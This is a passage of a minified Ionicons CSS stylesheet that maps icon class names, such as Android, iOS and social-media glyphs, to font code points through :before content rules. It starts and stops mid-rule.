on-alert-circled:before{content:"\f100"}.ion-android-add:before{content:"\f2c7"}.ion-android-add-circle:before{content:"\f359"}.ion-android-alarm-clock:before{content:"\f35a"}.ion-android-alert:before{content:"\f35b"}.ion-android-apps:before{content:"\f35c"}.ion-android-archive:before{content:"\f2c9"}.ion-android-arrow-back:before{content:"\f2ca"}.ion-android-arrow-down:before{content:"\f35d"}.ion-android-arrow-dropdown:before{content:"\f35f"}.ion-android-arrow-dropdown-circle:before{content:"\f35e"}.ion-android-arrow-dropleft:before{content:"\f361"}.ion-android-arrow-dropleft-circle:before{content:"\f360"}.ion-android-arrow-dropright:before{content:"\f363"}.ion-android-arrow-dropright-circle:before{content:"\f362"}.ion-android-arrow-dropup:before{content:"\f365"}.ion-android-arrow-dropup-circle:before{content:"\f364"}.ion-android-arrow-forward:before{content:"\f30f"}.ion-android-arrow-up:before{content:"\f366"}.ion-android-attach:before{content:"\f367"}.ion-android-bar:before{content:"\f368"}.ion-android-bicycle:before{content:"\f369"}.ion-android-boat:before{content:"\f36a"}.ion-android-bookmark:before{content:"\f36b"}.ion-android-bulb:before{content:"\f36c"}.ion-android-bus:before{content:"\f36d"}.ion-android-calendar:before{content:"\f2d1"}.ion-android-call:before{content:"\f2d2"}.ion-android-camera:before{content:"\f2d3"}.ion-android-cancel:before{content:"\f36e"}.ion-android-car:before{content:"\f36f"}.ion-android-cart:before{content:"\f370"}.ion-android-chat:before{content:"\f2d4"}.ion-android-checkbox:before{content:"\f374"}.ion-android-checkbox-blank:before{content:"\f371"}.ion-android-checkbox-outline:before{content:"\f373"}.ion-android-checkbox-outline-blank:before{content:"\f372"}.ion-android-checkmark-circle:before{content:"\f375"}.ion-android-clipboard:before{content:"\f376"}.ion-android-close:before{content:"\f2d7"}.ion-android-cloud:before{content:"\f37a"}.ion-android-cloud-circle:before{content:"\f377"}.ion-android-cloud-done:before{content:"\f378"}.ion-android-cloud-outline:before{content:"\f379"}.ion-android-color-palette:before{content:"\f37b"}.ion-android-compass:before{content:"\f37c"}.ion-android-contact:before{content:"\f2d8"}.ion-android-contacts:before{content:"\f2d9"}.ion-android-contract:before{content:"\f37d"}.ion-android-create:before{content:"\f37e"}.ion-android-delete:before{content:"\f37f"}.ion-android-desktop:before{content:"\f380"}.ion-android-document:before{content:"\f381"}.ion-android-done:before{content:"\f383"}.ion-android-done-all:before{content:"\f382"}.ion-android-download:before{content:"\f2dd"}.ion-android-drafts:before{content:"\f384"}.ion-android-exit:before{content:"\f385"}.ion-android-expand:before{content:"\f386"}.ion-android-favorite:before{content:"\f388"}.ion-android-favorite-outline:before{content:"\f387"}.ion-android-film:before{content:"\f389"}.ion-android-folder:before{content:"\f2e0"}.ion-android-folder-open:before{content:"\f38a"}.ion-android-funnel:before{content:"\f38b"}.ion-android-globe:before{content:"\f38c"}.ion-android-hand:before{content:"\f2e3"}.ion-android-hangout:before{content:"\f38d"}.ion-android-happy:before{content:"\f38e"}.ion-android-home:before{content:"\f38f"}.ion-android-image:before{content:"\f2e4"}.ion-android-laptop:before{content:"\f390"}.ion-android-list:before{content:"\f391"}.ion-android-locate:before{content:"\f2e9"}.ion-android-lock:before{content:"\f392"}.ion-android-mail:before{content:"\f2eb"}.ion-android-map:before{content:"\f393"}.ion-android-menu:before{content:"\f394"}.ion-android-microphone:before{content:"\f2ec"}.ion-android-microphone-off:before{content:"\f395"}.ion-android-more-horizontal:before{content:"\f396"}.ion-android-more-vertical:before{content:"\f397"}.ion-android-navigate:before{content:"\f398"}.ion-android-notifications:before{content:"\f39b"}.ion-android-notifications-none:before{content:"\f399"}.ion-android-notifications-off:before{content:"\f39a"}.ion-android-open:before{content:"\f39c"}.ion-android-options:before{content:"\f39d"}.ion-android-people:before{content:"\f39e"}.ion-android-person:before{content:"\f3a0"}.ion-android-person-add:before{content:"\f39f"}.ion-android-phone-landscape:before{content:"\f3a1"}.ion-android-phone-portrait:before{content:"\f3a2"}.ion-android-pin:before{content:"\f3a3"}.ion-android-plane:before{content:"\f3a4"}.ion-android-playstore:before{content:"\f2f0"}.ion-android-print:before{content:"\f3a5"}.ion-android-radio-button-off:before{content:"\f3a6"}.ion-android-radio-button-on:before{content:"\f3a7"}.ion-android-refresh:before{content:"\f3a8"}.ion-android-remove:before{content:"\f2f4"}.ion-android-remove-circle:before{content:"\f3a9"}.ion-android-restaurant:before{content:"\f3aa"}.ion-android-sad:before{content:"\f3ab"}.ion-android-search:before{content:"\f2f5"}.ion-android-send:before{content:"\f2f6"}.ion-android-settings:before{content:"\f2f7"}.ion-android-share:before{content:"\f2f8"}.ion-android-share-alt:before{content:"\f3ac"}.ion-android-star:before{content:"\f2fc"}.ion-android-star-half:before{content:"\f3ad"}.ion-android-star-outline:before{content:"\f3ae"}.ion-android-stopwatch:before{content:"\f2fd"}.ion-android-subway:before{content:"\f3af"}.ion-android-sunny:before{content:"\f3b0"}.ion-android-sync:before{content:"\f3b1"}.ion-android-textsms:before{content:"\f3b2"}.ion-android-time:before{content:"\f3b3"}.ion-android-train:before{content:"\f3b4"}.ion-android-unlock:before{content:"\f3b5"}.ion-android-upload:before{content:"\f3b6"}.ion-android-volume-down:before{content:"\f3b7"}.ion-android-volume-mute:before{content:"\f3b8"}.ion-android-volume-off:before{content:"\f3b9"}.ion-android-volume-up:before{content:"\f3ba"}.ion-android-walk:before{content:"\f3bb"}.ion-android-warning:before{content:"\f3bc"}.ion-android-watch:before{content:"\f3bd"}.ion-android-wifi:before{content:"\f305"}.ion-aperture:before{content:"\f313"}.ion-archive:before{content:"\f102"}.ion-arrow-down-a:before{content:"\f103"}.ion-arrow-down-b:before{content:"\f104"}.ion-arrow-down-c:before{content:"\f105"}.ion-arrow-expand:before{content:"\f25e"}.ion-arrow-graph-down-left:before{content:"\f25f"}.ion-arrow-graph-down-right:before{content:"\f260"}.ion-arrow-graph-up-left:before{content:"\f261"}.ion-arrow-graph-up-right:before{content:"\f262"}.ion-arrow-left-a:before{content:"\f106"}.ion-arrow-left-b:before{content:"\f107"}.ion-arrow-left-c:before{content:"\f108"}.ion-arrow-move:before{content:"\f263"}.ion-arrow-resize:before{content:"\f264"}.ion-arrow-return-left:before{content:"\f265"}.ion-arrow-return-right:before{content:"\f266"}.ion-arrow-right-a:before{content:"\f109"}.ion-arrow-right-b:before{content:"\f10a"}.ion-arrow-right-c:before{content:"\f10b"}.ion-arrow-shrink:before{content:"\f267"}.ion-arrow-swap:before{content:"\f268"}.ion-arrow-up-a:before{content:"\f10c"}.ion-arrow-up-b:before{content:"\f10d"}.ion-arrow-up-c:before{content:"\f10e"}.ion-asterisk:before{content:"\f314"}.ion-at:before{content:"\f10f"}.ion-backspace:before{content:"\f3bf"}.ion-backspace-outline:before{content:"\f3be"}.ion-bag:before{content:"\f110"}.ion-battery-charging:before{content:"\f111"}.ion-battery-empty:before{content:"\f112"}.ion-battery-full:before{content:"\f113"}.ion-battery-half:before{content:"\f114"}.ion-battery-low:before{content:"\f115"}.ion-beaker:before{content:"\f269"}.ion-beer:before{content:"\f26a"}.ion-bluetooth:before{content:"\f116"}.ion-bonfire:before{content:"\f315"}.ion-bookmark:before{content:"\f26b"}.ion-bowtie:before{content:"\f3c0"}.ion-briefcase:before{content:"\f26c"}.ion-bug:before{content:"\f2be"}.ion-calculator:before{content:"\f26d"}.ion-calendar:before{content:"\f117"}.ion-camera:before{content:"\f118"}.ion-card:before{content:"\f119"}.ion-cash:before{content:"\f316"}.ion-chatbox:before{content:"\f11b"}.ion-chatbox-working:before{content:"\f11a"}.ion-chatboxes:before{content:"\f11c"}.ion-chatbubble:before{content:"\f11e"}.ion-chatbubble-working:before{content:"\f11d"}.ion-chatbubbles:before{content:"\f11f"}.ion-checkmark:before{content:"\f122"}.ion-checkmark-circled:before{content:"\f120"}.ion-checkmark-round:before{content:"\f121"}.ion-chevron-down:before{content:"\f123"}.ion-chevron-left:before{content:"\f124"}.ion-chevron-right:before{content:"\f125"}.ion-chevron-up:before{content:"\f126"}.ion-clipboard:before{content:"\f127"}.ion-clock:before{content:"\f26e"}.ion-close:before{content:"\f12a"}.ion-close-circled:before{content:"\f128"}.ion-close-round:before{content:"\f129"}.ion-closed-captioning:before{content:"\f317"}.ion-cloud:before{content:"\f12b"}.ion-code:before{content:"\f271"}.ion-code-download:before{content:"\f26f"}.ion-code-working:before{content:"\f270"}.ion-coffee:before{content:"\f272"}.ion-compass:before{content:"\f273"}.ion-compose:before{content:"\f12c"}.ion-connection-bars:before{content:"\f274"}.ion-contrast:before{content:"\f275"}.ion-crop:before{content:"\f3c1"}.ion-cube:before{content:"\f318"}.ion-disc:before{content:"\f12d"}.ion-document:before{content:"\f12f"}.ion-document-text:before{content:"\f12e"}.ion-drag:before{content:"\f130"}.ion-earth:before{content:"\f276"}.ion-easel:before{content:"\f3c2"}.ion-edit:before{content:"\f2bf"}.ion-egg:before{content:"\f277"}.ion-eject:before{content:"\f131"}.ion-email:before{content:"\f132"}.ion-email-unread:before{content:"\f3c3"}.ion-erlenmeyer-flask:before{content:"\f3c5"}.ion-erlenmeyer-flask-bubbles:before{content:"\f3c4"}.ion-eye:before{content:"\f133"}.ion-eye-disabled:before{content:"\f306"}.ion-female:before{content:"\f278"}.ion-filing:before{content:"\f134"}.ion-film-marker:before{content:"\f135"}.ion-fireball:before{content:"\f319"}.ion-flag:before{content:"\f279"}.ion-flame:before{content:"\f31a"}.ion-flash:before{content:"\f137"}.ion-flash-off:before{content:"\f136"}.ion-folder:before{content:"\f139"}.ion-fork:before{content:"\f27a"}.ion-fork-repo:before{content:"\f2c0"}.ion-forward:before{content:"\f13a"}.ion-funnel:before{content:"\f31b"}.ion-gear-a:before{content:"\f13d"}.ion-gear-b:before{content:"\f13e"}.ion-grid:before{content:"\f13f"}.ion-hammer:before{content:"\f27b"}.ion-happy:before{content:"\f31c"}.ion-happy-outline:before{content:"\f3c6"}.ion-headphone:before{content:"\f140"}.ion-heart:before{content:"\f141"}.ion-heart-broken:before{content:"\f31d"}.ion-help:before{content:"\f143"}.ion-help-buoy:before{content:"\f27c"}.ion-help-circled:before{content:"\f142"}.ion-home:before{content:"\f144"}.ion-icecream:before{content:"\f27d"}.ion-image:before{content:"\f147"}.ion-images:before{content:"\f148"}.ion-information:before{content:"\f14a"}.ion-information-circled:before{content:"\f149"}.ion-ionic:before{content:"\f14b"}.ion-ios-alarm:before{content:"\f3c8"}.ion-ios-alarm-outline:before{content:"\f3c7"}.ion-ios-albums:before{content:"\f3ca"}.ion-ios-albums-outline:before{content:"\f3c9"}.ion-ios-americanfootball:before{content:"\f3cc"}.ion-ios-americanfootball-outline:before{content:"\f3cb"}.ion-ios-analytics:before{content:"\f3ce"}.ion-ios-analytics-outline:before{content:"\f3cd"}.ion-ios-arrow-back:before{content:"\f3cf"}.ion-ios-arrow-down:before{content:"\f3d0"}.ion-ios-arrow-forward:before{content:"\f3d1"}.ion-ios-arrow-left:before{content:"\f3d2"}.ion-ios-arrow-right:before{content:"\f3d3"}.ion-ios-arrow-thin-down:before{content:"\f3d4"}.ion-ios-arrow-thin-left:before{content:"\f3d5"}.ion-ios-arrow-thin-right:before{content:"\f3d6"}.ion-ios-arrow-thin-up:before{content:"\f3d7"}.ion-ios-arrow-up:before{content:"\f3d8"}.ion-ios-at:before{content:"\f3da"}.ion-ios-at-outline:before{content:"\f3d9"}.ion-ios-barcode:before{content:"\f3dc"}.ion-ios-barcode-outline:before{content:"\f3db"}.ion-ios-baseball:before{content:"\f3de"}.ion-ios-baseball-outline:before{content:"\f3dd"}.ion-ios-basketball:before{content:"\f3e0"}.ion-ios-basketball-outline:before{content:"\f3df"}.ion-ios-bell:before{content:"\f3e2"}.ion-ios-bell-outline:before{content:"\f3e1"}.ion-ios-body:before{content:"\f3e4"}.ion-ios-body-outline:before{content:"\f3e3"}.ion-ios-bolt:before{content:"\f3e6"}.ion-ios-bolt-outline:before{content:"\f3e5"}.ion-ios-book:before{content:"\f3e8"}.ion-ios-book-outline:before{content:"\f3e7"}.ion-ios-bookmarks:before{content:"\f3ea"}.ion-ios-bookmarks-outline:before{content:"\f3e9"}.ion-ios-box:before{content:"\f3ec"}.ion-ios-box-outline:before{content:"\f3eb"}.ion-ios-briefcase:before{content:"\f3ee"}.ion-ios-briefcase-outline:before{content:"\f3ed"}.ion-ios-browsers:before{content:"\f3f0"}.ion-ios-browsers-outline:before{content:"\f3ef"}.ion-ios-calculator:before{content:"\f3f2"}.ion-ios-calculator-outline:before{content:"\f3f1"}.ion-ios-calendar:before{content:"\f3f4"}.ion-ios-calendar-outline:before{content:"\f3f3"}.ion-ios-camera:before{content:"\f3f6"}.ion-ios-camera-outline:before{content:"\f3f5"}.ion-ios-cart:before{content:"\f3f8"}.ion-ios-cart-outline:before{content:"\f3f7"}.ion-ios-chatboxes:before{content:"\f3fa"}.ion-ios-chatboxes-outline:before{content:"\f3f9"}.ion-ios-chatbubble:before{content:"\f3fc"}.ion-ios-chatbubble-outline:before{content:"\f3fb"}.ion-ios-checkmark:before{content:"\f3ff"}.ion-ios-checkmark-empty:before{content:"\f3fd"}.ion-ios-checkmark-outline:before{content:"\f3fe"}.ion-ios-circle-filled:before{content:"\f400"}.ion-ios-circle-outline:before{content:"\f401"}.ion-ios-clock:before{content:"\f403"}.ion-ios-clock-outline:before{content:"\f402"}.ion-ios-close:before{content:"\f406"}.ion-ios-close-empty:before{content:"\f404"}.ion-ios-close-outline:before{content:"\f405"}.ion-ios-cloud:before{content:"\f40c"}.ion-ios-cloud-download:before{content:"\f408"}.ion-ios-cloud-download-outline:before{content:"\f407"}.ion-ios-cloud-outline:before{content:"\f409"}.ion-ios-cloud-upload:before{content:"\f40b"}.ion-ios-cloud-upload-outline:before{content:"\f40a"}.ion-ios-cloudy:before{content:"\f410"}.ion-ios-cloudy-night:before{content:"\f40e"}.ion-ios-cloudy-night-outline:before{content:"\f40d"}.ion-ios-cloudy-outline:before{content:"\f40f"}.ion-ios-cog:before{content:"\f412"}.ion-ios-cog-outline:before{content:"\f411"}.ion-ios-color-filter:before{content:"\f414"}.ion-ios-color-filter-outline:before{content:"\f413"}.ion-ios-color-wand:before{content:"\f416"}.ion-ios-color-wand-outline:before{content:"\f415"}.ion-ios-compose:before{content:"\f418"}.ion-ios-compose-outline:before{content:"\f417"}.ion-ios-contact:before{content:"\f41a"}.ion-ios-contact-outline:before{content:"\f419"}.ion-ios-copy:before{content:"\f41c"}.ion-ios-copy-outline:before{content:"\f41b"}.ion-ios-crop:before{content:"\f41e"}.ion-ios-crop-strong:before{content:"\f41d"}.ion-ios-download:before{content:"\f420"}.ion-ios-download-outline:before{content:"\f41f"}.ion-ios-drag:before{content:"\f421"}.ion-ios-email:before{content:"\f423"}.ion-ios-email-outline:before{content:"\f422"}.ion-ios-eye:before{content:"\f425"}.ion-ios-eye-outline:before{content:"\f424"}.ion-ios-fastforward:before{content:"\f427"}.ion-ios-fastforward-outline:before{content:"\f426"}.ion-ios-filing:before{content:"\f429"}.ion-ios-filing-outline:before{content:"\f428"}.ion-ios-film:before{content:"\f42b"}.ion-ios-film-outline:before{content:"\f42a"}.ion-ios-flag:before{content:"\f42d"}.ion-ios-flag-outline:before{content:"\f42c"}.ion-ios-flame:before{content:"\f42f"}.ion-ios-flame-outline:before{content:"\f42e"}.ion-ios-flask:before{content:"\f431"}.ion-ios-flask-outline:before{content:"\f430"}.ion-ios-flower:before{content:"\f433"}.ion-ios-flower-outline:before{content:"\f432"}.ion-ios-folder:before{content:"\f435"}.ion-ios-folder-outline:before{content:"\f434"}.ion-ios-football:before{content:"\f437"}.ion-ios-football-outline:before{content:"\f436"}.ion-ios-game-controller-a:before{content:"\f439"}.ion-ios-game-controller-a-outline:before{content:"\f438"}.ion-ios-game-controller-b:before{content:"\f43b"}.ion-ios-game-controller-b-outline:before{content:"\f43a"}.ion-ios-gear:before{content:"\f43d"}.ion-ios-gear-outline:before{content:"\f43c"}.ion-ios-glasses:before{content:"\f43f"}.ion-ios-glasses-outline:before{content:"\f43e"}.ion-ios-grid-view:before{content:"\f441"}.ion-ios-grid-view-outline:before{content:"\f440"}.ion-ios-heart:before{content:"\f443"}.ion-ios-heart-outline:before{content:"\f442"}.ion-ios-help:before{content:"\f446"}.ion-ios-help-empty:before{content:"\f444"}.ion-ios-help-outline:before{content:"\f445"}.ion-ios-home:before{content:"\f448"}.ion-ios-home-outline:before{content:"\f447"}.ion-ios-infinite:before{content:"\f44a"}.ion-ios-infinite-outline:before{content:"\f449"}.ion-ios-information:before{content:"\f44d"}.ion-ios-information-empty:before{content:"\f44b"}.ion-ios-information-outline:before{content:"\f44c"}.ion-ios-ionic-outline:before{content:"\f44e"}.ion-ios-keypad:before{content:"\f450"}.ion-ios-keypad-outline:before{content:"\f44f"}.ion-ios-lightbulb:before{content:"\f452"}.ion-ios-lightbulb-outline:before{content:"\f451"}.ion-ios-list:before{content:"\f454"}.ion-ios-list-outline:before{content:"\f453"}.ion-ios-location:before{content:"\f456"}.ion-ios-location-outline:before{content:"\f455"}.ion-ios-locked:before{content:"\f458"}.ion-ios-locked-outline:before{content:"\f457"}.ion-ios-loop:before{content:"\f45a"}.ion-ios-loop-strong:before{content:"\f459"}.ion-ios-medical:before{content:"\f45c"}.ion-ios-medical-outline:before{content:"\f45b"}.ion-ios-medkit:before{content:"\f45e"}.ion-ios-medkit-outline:before{content:"\f45d"}.ion-ios-mic:before{content:"\f461"}.ion-ios-mic-off:before{content:"\f45f"}.ion-ios-mic-outline:before{content:"\f460"}.ion-ios-minus:before{content:"\f464"}.ion-ios-minus-empty:before{content:"\f462"}.ion-ios-minus-outline:before{content:"\f463"}.ion-ios-monitor:before{content:"\f466"}.ion-ios-monitor-outline:before{content:"\f465"}.ion-ios-moon:before{content:"\f468"}.ion-ios-moon-outline:before{content:"\f467"}.ion-ios-more:before{content:"\f46a"}.ion-ios-more-outline:before{content:"\f469"}.ion-ios-musical-note:before{content:"\f46b"}.ion-ios-musical-notes:before{content:"\f46c"}.ion-ios-navigate:before{content:"\f46e"}.ion-ios-navigate-outline:before{content:"\f46d"}.ion-ios-nutrition:before{content:"\f470"}.ion-ios-nutrition-outline:before{content:"\f46f"}.ion-ios-paper:before{content:"\f472"}.ion-ios-paper-outline:before{content:"\f471"}.ion-ios-paperplane:before{content:"\f474"}.ion-ios-paperplane-outline:before{content:"\f473"}.ion-ios-partlysunny:before{content:"\f476"}.ion-ios-partlysunny-outline:before{content:"\f475"}.ion-ios-pause:before{content:"\f478"}.ion-ios-pause-outline:before{content:"\f477"}.ion-ios-paw:before{content:"\f47a"}.ion-ios-paw-outline:before{content:"\f479"}.ion-ios-people:before{content:"\f47c"}.ion-ios-people-outline:before{content:"\f47b"}.ion-ios-person:before{content:"\f47e"}.ion-ios-person-outline:before{content:"\f47d"}.ion-ios-personadd:before{content:"\f480"}.ion-ios-personadd-outline:before{content:"\f47f"}.ion-ios-photos:before{content:"\f482"}.ion-ios-photos-outline:before{content:"\f481"}.ion-ios-pie:before{content:"\f484"}.ion-ios-pie-outline:before{content:"\f483"}.ion-ios-pint:before{content:"\f486"}.ion-ios-pint-outline:before{content:"\f485"}.ion-ios-play:before{content:"\f488"}.ion-ios-play-outline:before{content:"\f487"}.ion-ios-plus:before{content:"\f48b"}.ion-ios-plus-empty:before{content:"\f489"}.ion-ios-plus-outline:before{content:"\f48a"}.ion-ios-pricetag:before{content:"\f48d"}.ion-ios-pricetag-outline:before{content:"\f48c"}.ion-ios-pricetags:before{content:"\f48f"}.ion-ios-pricetags-outline:before{content:"\f48e"}.ion-ios-printer:before{content:"\f491"}.ion-ios-printer-outline:before{content:"\f490"}.ion-ios-pulse:before{content:"\f493"}.ion-ios-pulse-strong:before{content:"\f492"}.ion-ios-rainy:before{content:"\f495"}.ion-ios-rainy-outline:before{content:"\f494"}.ion-ios-recording:before{content:"\f497"}.ion-ios-recording-outline:before{content:"\f496"}.ion-ios-redo:before{content:"\f499"}.ion-ios-redo-outline:before{content:"\f498"}.ion-ios-refresh:before{content:"\f49c"}.ion-ios-refresh-empty:before{content:"\f49a"}.ion-ios-refresh-outline:before{content:"\f49b"}.ion-ios-reload:before{content:"\f49d"}.ion-ios-reverse-camera:before{content:"\f49f"}.ion-ios-reverse-camera-outline:before{content:"\f49e"}.ion-ios-rewind:before{content:"\f4a1"}.ion-ios-rewind-outline:before{content:"\f4a0"}.ion-ios-rose:before{content:"\f4a3"}.ion-ios-rose-outline:before{content:"\f4a2"}.ion-ios-search:before{content:"\f4a5"}.ion-ios-search-strong:before{content:"\f4a4"}.ion-ios-settings:before{content:"\f4a7"}.ion-ios-settings-strong:before{content:"\f4a6"}.ion-ios-shuffle:before{content:"\f4a9"}.ion-ios-shuffle-strong:before{content:"\f4a8"}.ion-ios-skipbackward:before{content:"\f4ab"}.ion-ios-skipbackward-outline:before{content:"\f4aa"}.ion-ios-skipforward:before{content:"\f4ad"}.ion-ios-skipforward-outline:before{content:"\f4ac"}.ion-ios-snowy:before{content:"\f4ae"}.ion-ios-speedometer:before{content:"\f4b0"}.ion-ios-speedometer-outline:before{content:"\f4af"}.ion-ios-star:before{content:"\f4b3"}.ion-ios-star-half:before{content:"\f4b1"}.ion-ios-star-outline:before{content:"\f4b2"}.ion-ios-stopwatch:before{content:"\f4b5"}.ion-ios-stopwatch-outline:before{content:"\f4b4"}.ion-ios-sunny:before{content:"\f4b7"}.ion-ios-sunny-outline:before{content:"\f4b6"}.ion-ios-telephone:before{content:"\f4b9"}.ion-ios-telephone-outline:before{content:"\f4b8"}.ion-ios-tennisball:before{content:"\f4bb"}.ion-ios-tennisball-outline:before{content:"\f4ba"}.ion-ios-thunderstorm:before{content:"\f4bd"}.ion-ios-thunderstorm-outline:before{content:"\f4bc"}.ion-ios-time:before{content:"\f4bf"}.ion-ios-time-outline:before{content:"\f4be"}.ion-ios-timer:before{content:"\f4c1"}.ion-ios-timer-outline:before{content:"\f4c0"}.ion-ios-toggle:before{content:"\f4c3"}.ion-ios-toggle-outline:before{content:"\f4c2"}.ion-ios-trash:before{content:"\f4c5"}.ion-ios-trash-outline:before{content:"\f4c4"}.ion-ios-undo:before{content:"\f4c7"}.ion-ios-undo-outline:before{content:"\f4c6"}.ion-ios-unlocked:before{content:"\f4c9"}.ion-ios-unlocked-outline:before{content:"\f4c8"}.ion-ios-upload:before{content:"\f4cb"}.ion-ios-upload-outline:before{content:"\f4ca"}.ion-ios-videocam:before{content:"\f4cd"}.ion-ios-videocam-outline:before{content:"\f4cc"}.ion-ios-volume-high:before{content:"\f4ce"}.ion-ios-volume-low:before{content:"\f4cf"}.ion-ios-wineglass:before{content:"\f4d1"}.ion-ios-wineglass-outline:before{content:"\f4d0"}.ion-ios-world:before{content:"\f4d3"}.ion-ios-world-outline:before{content:"\f4d2"}.ion-ipad:before{content:"\f1f9"}.ion-iphone:before{content:"\f1fa"}.ion-ipod:before{content:"\f1fb"}.ion-jet:before{content:"\f295"}.ion-key:before{content:"\f296"}.ion-knife:before{content:"\f297"}.ion-laptop:before{content:"\f1fc"}.ion-leaf:before{content:"\f1fd"}.ion-levels:before{content:"\f298"}.ion-lightbulb:before{content:"\f299"}.ion-link:before{content:"\f1fe"}.ion-load-a:before{content:"\f29a"}.ion-load-b:before{content:"\f29b"}.ion-load-c:before{content:"\f29c"}.ion-load-d:before{content:"\f29d"}.ion-location:before{content:"\f1ff"}.ion-lock-combination:before{content:"\f4d4"}.ion-locked:before{content:"\f200"}.ion-log-in:before{content:"\f29e"}.ion-log-out:before{content:"\f29f"}.ion-loop:before{content:"\f201"}.ion-magnet:before{content:"\f2a0"}.ion-male:before{content:"\f2a1"}.ion-man:before{content:"\f202"}.ion-map:before{content:"\f203"}.ion-medkit:before{content:"\f2a2"}.ion-merge:before{content:"\f33f"}.ion-mic-a:before{content:"\f204"}.ion-mic-b:before{content:"\f205"}.ion-mic-c:before{content:"\f206"}.ion-minus:before{content:"\f209"}.ion-minus-circled:before{content:"\f207"}.ion-minus-round:before{content:"\f208"}.ion-model-s:before{content:"\f2c1"}.ion-monitor:before{content:"\f20a"}.ion-more:before{content:"\f20b"}.ion-mouse:before{content:"\f340"}.ion-music-note:before{content:"\f20c"}.ion-navicon:before{content:"\f20e"}.ion-navicon-round:before{content:"\f20d"}.ion-navigate:before{content:"\f2a3"}.ion-network:before{content:"\f341"}.ion-no-smoking:before{content:"\f2c2"}.ion-nuclear:before{content:"\f2a4"}.ion-outlet:before{content:"\f342"}.ion-paintbrush:before{content:"\f4d5"}.ion-paintbucket:before{content:"\f4d6"}.ion-paper-airplane:before{content:"\f2c3"}.ion-paperclip:before{content:"\f20f"}.ion-pause:before{content:"\f210"}.ion-person:before{content:"\f213"}.ion-person-add:before{content:"\f211"}.ion-person-stalker:before{content:"\f212"}.ion-pie-graph:before{content:"\f2a5"}.ion-pin:before{content:"\f2a6"}.ion-pinpoint:before{content:"\f2a7"}.ion-pizza:before{content:"\f2a8"}.ion-plane:before{content:"\f214"}.ion-planet:before{content:"\f343"}.ion-play:before{content:"\f215"}.ion-playstation:before{content:"\f30a"}.ion-plus:before{content:"\f218"}.ion-plus-circled:before{content:"\f216"}.ion-plus-round:before{content:"\f217"}.ion-podium:before{content:"\f344"}.ion-pound:before{content:"\f219"}.ion-power:before{content:"\f2a9"}.ion-pricetag:before{content:"\f2aa"}.ion-pricetags:before{content:"\f2ab"}.ion-printer:before{content:"\f21a"}.ion-pull-request:before{content:"\f345"}.ion-qr-scanner:before{content:"\f346"}.ion-quote:before{content:"\f347"}.ion-radio-waves:before{content:"\f2ac"}.ion-record:before{content:"\f21b"}.ion-refresh:before{content:"\f21c"}.ion-reply:before{content:"\f21e"}.ion-reply-all:before{content:"\f21d"}.ion-ribbon-a:before{content:"\f348"}.ion-ribbon-b:before{content:"\f349"}.ion-sad:before{content:"\f34a"}.ion-sad-outline:before{content:"\f4d7"}.ion-scissors:before{content:"\f34b"}.ion-search:before{content:"\f21f"}.ion-settings:before{content:"\f2ad"}.ion-share:before{content:"\f220"}.ion-shuffle:before{content:"\f221"}.ion-skip-backward:before{content:"\f222"}.ion-skip-forward:before{content:"\f223"}.ion-social-android:before{content:"\f225"}.ion-social-android-outline:before{content:"\f224"}.ion-social-angular:before{content:"\f4d9"}.ion-social-angular-outline:before{content:"\f4d8"}.ion-social-apple:before{content:"\f227"}.ion-social-apple-outline:before{content:"\f226"}.ion-social-bitcoin:before{content:"\f2af"}.ion-social-bitcoin-outline:before{content:"\f2ae"}.ion-social-buffer:before{content:"\f229"}.ion-social-buffer-outline:before{content:"\f228"}.ion-social-chrome:before{content:"\f4db"}.ion-social-chrome-outline:before{content:"\f4da"}.ion-social-codepen:before{content:"\f4dd"}.ion-social-codepen-outline:before{content:"\f4dc"}.ion-social-css3:before{content:"\f4df"}.ion-social-css3-outline:before{content:"\f4de"}.ion-social-designernews:before{content:"\f22b"}.ion-social-designernews-outline:before{content:"\f22a"}.ion-social-dribbble:before{content:"\f22d"}.ion-social-dribbble-outline:before{content:"\f22c"}.ion-social-dropbox:before{content:"\f22f"}.ion-social-dropbox-outline:before{content:"\f22e"}.ion-social-euro:before{content:"\f4e1"}.ion-social-euro-outline:before{content:"\f4e0"}.ion-social-facebook:before{content:"\f231"}.ion-social-facebook-outline:before{content:"\f230"}.ion-social-foursquare:before{content:"\f34d"}.ion-social-foursquare-outline:before{content:"\f34c"}.ion-social-freebsd-devil:before{content:"\f2c4"}.ion-social-github:before{content:"\f233"}.ion-social-github-outline:before{content:"\f232"}.ion-social-google:before{content:"\f34f"}.ion-social-google-outline:before{content:"\f34e"}.ion-social-googleplus:before{content:"\f235"}.ion-social-googleplus-outline:before{content:"\f234"}.ion-social-hackernews:before{content:"\f237"}.ion-social-hackernews-outline:before{content:"\f236"}.ion-social-html5:before{content:"\f4e3"}.ion-social-html5-outline:before{content:"\f4e2"}.ion-social-instagram:before{content:"\f351"}.ion-social-instagram-outline:before{content:"\f350"}.ion-social-javascript:before{content:"\f4e5"}.ion-social-javascript-outline:before{content:"\f4e4"}.ion-social-linkedin:before{content:"\f239"}.ion-social-linkedin-outline:before{content:"\f238"}.ion-social-markdown:before{content:"\f4e6"}.ion-social-nodejs:before{content:"\f4e7"}.ion-social-octocat:before{content:"\f4e8"}.ion-social-pinterest:before{content:"\f2b1"}.ion-social-pinterest-outline:before{content:"\f2b0"}.ion-social-python:before{content:"\f4e9"}.ion-social-reddit:before{content:"\f23b"}.ion-social-reddit-outline:before{content:"\f23a"}.ion-social-rss:before{content:"\f23d"}.ion-social-rss-outline:before{content:"\f23c"}.ion-social-sass:before{content:"\f4ea"}.ion-social-skype:before{content:"\f23f"}.ion-social-skype-outline:before{content:"\f23e"}.ion-social-snapchat:before{content:"\f4ec"}.ion-social-snapchat-outline:before{content:"\f4eb"}.ion-social-tumblr:before{content:"\f241"}.ion-social-tumblr-outline:before{content:"\f240"}.ion-social-tux:before{content:"\f2c5"}.ion-social-twitch:before{content:"\f4ee"}.ion-social-twitch-outline:before{content:"\f4ed"}.ion-social-twitter:before{content:"\f243"}.ion-social-twitter-outline:before{content:"\f242"}.ion-social-usd:before{content:"\f353"}.ion-social-usd-outline:before{content:"\f352"}.ion-social-vimeo:before{content:"\f245"}.ion-social-vimeo-outline:before{content:"\f244"}.ion-social-whatsapp:before{content:"\f4f0"}.ion-social-whatsapp-outline:before{content:"\f4ef"}.ion-social-windows:before{content:"\f247"}.ion-social-windows-outline:before{content:"\f246"}.ion-social-wordpress:before{content:"\f249"}.ion-social-wordpress-outline:before{content:"\f248"}.ion-social-yahoo:before{content:"\f24b"}.ion-social-yahoo-outline:before{content:"\f24a"}.ion-social-yen:before{content:"\f4f2"}.ion-social-yen-outline:before{content:"\f4f1"}.ion-social-youtube: